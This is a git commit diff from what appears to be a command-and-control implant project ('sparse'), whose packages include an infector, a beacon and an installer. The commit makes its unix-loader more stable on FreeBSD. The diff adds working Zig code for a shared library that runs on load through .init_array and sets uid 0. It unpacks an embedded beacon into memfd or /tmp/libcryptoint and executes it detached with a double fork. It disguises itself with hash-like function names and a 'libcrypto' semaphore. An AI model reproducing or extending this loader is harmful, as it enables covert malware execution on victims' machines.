feat: made unix-loader more stable on FreeBSD

This commit is contained in:
Andrew Rioux 2025-02-03 02:37:17 -05:00
parent d8a277e769
commit 00331ec550
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
9 changed files with 159 additions and 59 deletions

13
Cargo.lock generated
View File

@ -3205,6 +3205,9 @@ dependencies = [
[[package]]
name = "sparse-infector"
version = "2.0.0"
dependencies = [
"sparse-actions",
]
[[package]]
name = "sparse-server"
@ -3253,10 +3256,20 @@ dependencies = [
[[package]]
name = "sparse-unix-beacon"
version = "2.0.0"
dependencies = [
"errno",
"libc",
]
[[package]]
name = "sparse-unix-installer"
version = "2.0.0"
dependencies = [
"rand 0.9.0",
"sparse-actions",
"sparse-infector",
"structopt",
]
[[package]]
name = "sparse-windows-beacon"

View File

@ -56,12 +56,11 @@
libpcap-linux-musl libpcap-freebsd;
buildTools = with pkgs; rec {
linux = [
base = [
# Tools for local compilation
lld
zig
clang
glibc
libclang
mold
@ -72,9 +71,10 @@
binaryen
sqlx-cli
];
freebsd = buildTools.linux
linux = buildTools.base ++ [ glibc musl ];
freebsd = buildTools.base
++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ];
windows = buildTools.linux ++ [
windows = buildTools.base ++ [
pkgsCross.mingwW64.stdenv.cc
pkgsCross.mingwW64.windows.pthreads
];
@ -95,6 +95,10 @@
# Cargo lint tools
taplo
cargo-deny
# Docs
man-pages
man-pages-posix
];
craneLib = (crane.mkLib pkgs).overrideToolchain (p:

View File

@ -181,6 +181,8 @@ let
--summary all \
--prefix $out \
--release=small \
-Dfork \
-Dos=linux \
-Dbeacon=${sparse-beacon-linux}/bin/sparse-unix-beacon \
-Dtarget=x86_64-linux-musl \
--verbose
@ -201,6 +203,8 @@ let
--summary all \
--prefix $out \
--release=small \
-Dfork \
-Dos=freebsd \
-Dtarget=x86_64-freebsd \
-Dbeacon=${sparse-beacon-freebsd}/bin/sparse-unix-beacon \
--sysroot ${freebsd-libs} \
@ -219,7 +223,7 @@ let
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_LOADER_LINUX = "${linux-loader}/lib/libunix-loader.so";
SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so";
});
sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // {
@ -232,7 +236,7 @@ let
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_LOADER_FREEBSD = "${freebsd-loader}/lib/libunix-loader.so";
SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so";
});
sparse-installer-freebsd =

View File

@ -4,3 +4,5 @@ edition = "2024"
version.workspace = true
[dependencies]
libc = "0.2"
errno = "0.3"

View File

@ -1,3 +1,14 @@
fn main() {
println!("Hello, world!");
#[cfg(target_os = "freebsd")]
unsafe {
let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0);
libc::sem_post(sem);
}
println!("Hello, world!");
unsafe { println!("\n{}\n", libc::getpid()) };
loop {}
}

View File

@ -1,7 +1,14 @@
const std = @import("std");
pub fn build(b: *std.Build) !void {
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const alloc = arena.allocator();
const beacon = b.option([]const u8, "beacon", "path to beacon to load") orelse std.debug.panic("Expected a path to a beacon to be provided with -Dbeacon", .{});
const target_os = b.option([]const u8, "os", "os name to inject in final binary") orelse "linux";
const fork = b.option(bool, "fork", "whether to fork or take over the process") orelse false;
const beacon_path = std.Build.LazyPath{ .cwd_relative = beacon };
const target = b.standardTargetOptions(.{});
@ -26,14 +33,21 @@ pub fn build(b: *std.Build) !void {
.pic = true,
});
const options = b.addOptions();
options.addOption(bool, "fork", fork);
libloader.addIncludePath(b.path("src"));
libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon });
libloader.root_module.addOptions("config", options);
if (target.result.os.tag == .freebsd) {
libloader.linkLibC();
}
libloader.step.dependOn(&tool_step.step);
var lib = b.addSharedLibrary(.{
.name = "unix-loader",
.name = try std.fmt.allocPrint(alloc, "unix-loader-{s}", .{target_os}),
.root_source_file = b.path("src/loader.zig"),
.target = target,
.optimize = optimize,
@ -44,8 +58,6 @@ pub fn build(b: *std.Build) !void {
.name = "test-loader",
.root_source_file = b.path("src/test_run.zig"),
.target = target,
.optimize = optimize,
.strip = true,
});
lib.addIncludePath(b.path("src"));

View File

@ -1,4 +1,6 @@
const builtin = @import("builtin");
const std = @import("std");
const posix = std.posix;
const beacon = @embedFile("beacon");
@ -6,22 +8,23 @@ const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
std.debug.print("Test {s}", .{parameters.beacon_identifier});
const config = @import("config");
const uid = std.os.linux.getuid();
_ = std.c.setuid(0);
if (std.os.linux.getuid() != 0) {
return;
fn open_temp() !std.fs.File {
switch (builtin.os.tag) {
.linux => {
const fd = posix.memfd_create("", 0);
return std.fs.File{ .handle = fd };
},
else => {
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
},
}
}
const pid = std.c.fork();
if (pid == 0) {
if (std.c.fork() == 0) {
const exe_fd = try std.posix.memfd_create("", 0);
fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
var exe_file = std.fs.File{ .handle = exe_fd };
var exe_file = try open_temp();
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
@ -36,7 +39,12 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
defer arena.deinit();
const alloc = arena.allocator();
const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd});
const file_path = switch (builtin.os.tag) {
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
else => "/tmp/libcryptoint",
};
exe_file.close();
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
const file_path_ptr = try alloc.dupeZ(u8, file_path);
@ -44,23 +52,60 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
const envp: [*:null]const ?[*:0]const u8 = &.{null};
_ = std.c.execve(file_path_ptr, argv, envp);
std.c.exit(1);
switch (posix.execveZ(file_path_ptr, argv, envp)) {
else => |e| {
if (builtin.mode == .Debug) {
std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)});
}
std.c.exit(0);
} else {
var status: c_int = 0;
_ = std.c.waitpid(pid, &status, 0);
_ = std.c.kill(pid, std.c.SIG.KILL);
},
}
_ = std.c.setuid(uid);
posix.exit(1);
}
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
var uid: usize = undefined;
if (builtin.os.tag == .linux) {
uid = std.os.linux.syscall0(.getuid);
try posix.setuid(0);
if (std.os.linux.syscall0() != 0) {
return;
}
}
if (!config.fork) {
try exec_beacon(gzipped_exe, parameters);
} else {
const pid = try posix.fork();
if (pid == 0) {
if (try posix.fork() == 0) {
try exec_beacon(gzipped_exe, parameters);
} else if (builtin.os.tag != .linux) {
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
_ = std.c.sem_wait(sem);
posix.unlink("/tmp/libcryptoint") catch {};
}
posix.exit(0);
} else {
_ = posix.waitpid(pid, 0);
if (builtin.os.tag == .linux) {
posix.kill(pid, 9) catch {};
}
}
if (builtin.os.tag == .linux) {
try posix.setuid(uid);
}
}
}
export fn hash_internals(parameters: *Parameters) void {
use_beacon(beacon, parameters) catch |err| {
if (@import("builtin").mode == .Debug) {
std.debug.print("Error using hash internals! {any}", .{err});
if (builtin.mode == .Debug) {
std.debug.print("External error computing hash! {any}\n", .{err});
}
};
}

View File

@ -20,7 +20,8 @@ fn fill_parameters() !void {
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
}
export fn calculate_hash() void {
export fn calculate_hash() callconv(.C) void {
std.io.getStdOut().writeAll("Loaded!") catch {};
fill_parameters() catch |err| {
if (dbg) {
std.debug.print("Error calculating hash! {any}", .{err});
@ -30,6 +31,8 @@ export fn calculate_hash() void {
hash_internals(&file_parameters);
}
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
export fn md4sum() void {}
export fn md5sum() void {}
export fn sha256sum() void {}

View File

@ -1,5 +1,11 @@
extern fn hash_internals() void;
extern fn hash_internals(parameters: *Parameters) void;
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
var file_parameters: Parameters = .{};
pub fn main() void {
hash_internals();
hash_internals(&file_parameters);
}